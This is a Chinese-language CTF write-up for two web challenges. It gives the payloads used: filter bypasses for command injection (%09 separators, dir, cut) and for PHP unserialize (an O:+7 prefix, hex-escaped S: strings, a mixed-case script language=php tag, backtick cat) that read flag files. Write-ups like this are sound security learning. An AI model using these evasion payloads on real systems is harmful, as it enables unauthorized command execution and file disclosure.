by 七歲,
web1
考察命令執行 shell命令運算子

基本上過濾了所有可用的命令
平時我們都是ls 查看目錄
仔細發現dir命令并沒有被禁止
所以我們可以dir%09.%09

也是這樣的
. 表示當前目錄

然后就是讀檔案命令
被ban了那么多還有幾個忽略了
cut 命令awk sed fmt等等
來看看cut命令


試一試別的

等等,最后payload
cmd=cut%09-f%091%09F14g_1s_h4rehaha.php%09
web2

payload:
Class Welcome{
public $cmd;
public $admin='info';
}
$a = new Welcome();
echo serialize($a);
題目提示錯誤,fuzz一下
check_data函式過濾了O:7 cmd admin {
于是我們需要進行繞過,其中O:7通過O:+7進行繞過//為什么+可以繞過O:7通過O:+7
Cmd和admin使用S和16進制繞過,也就是將s:3:”cmd” ====》 S:3:"\63\6d\64"
Admin同理,
然后{}使用()代替
最終得到payload:
O:%2b7:"Welcome":2:(S:3:"\63\6d\64";N;S:14:"%00Welcome%00\61\64\6d\69\6e";S:4:"info";)
注意本地環境如果為php=7就不能用(繞過{,適用于php=5
之后就可以輸出phpinfo
然后我們進行命令執行,只需要將info變成jdb即可,
然后就是會對$_POST[“cmd”]放入eval函式中執行,但是這里還有一個check_cmd函式需要繞過,經過測驗,發現這個函式過濾了php
<? ; () script ‘ “” language 空格
首先,過濾了;
那無法直接執行php代碼,必須用?>把前面的php代碼閉合掉,在重新用<?phpxxxxxx?>寫php代碼
但是海拔<?過濾了,除了
<?php ?>之外,我們還可以用<script language=’php’>xxx</script>代碼執行
script php language的過濾我們可以用大小寫進行繞過,
把()過濾了無法直接呼叫php函式,那么我們可以用bash命令來執行,但是需要注意的是這個執行是沒有回顯的,需要列印出來,但是這里過濾了空格, 可以用%0a繞過空格
最終payload:
data=O:%2b7:"Welcome":2:(S:3:"\63\6d\64";S:2:"<?";S:14:"\00\57\65\6c\63\6f\6d\65\00\61\64\6d\69\6e";S:3:"\6a\64\62";)&cmd=?><ScriPT%0alanguagE=PhP>echo%0a`cat</F1ag_1s_h4re_HaHa!.txt`</ScRiPt>
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/239146.html
標籤:其他
上一篇:記錄安裝Docker for Windows參考資料
下一篇:shell腳本之腳本案例
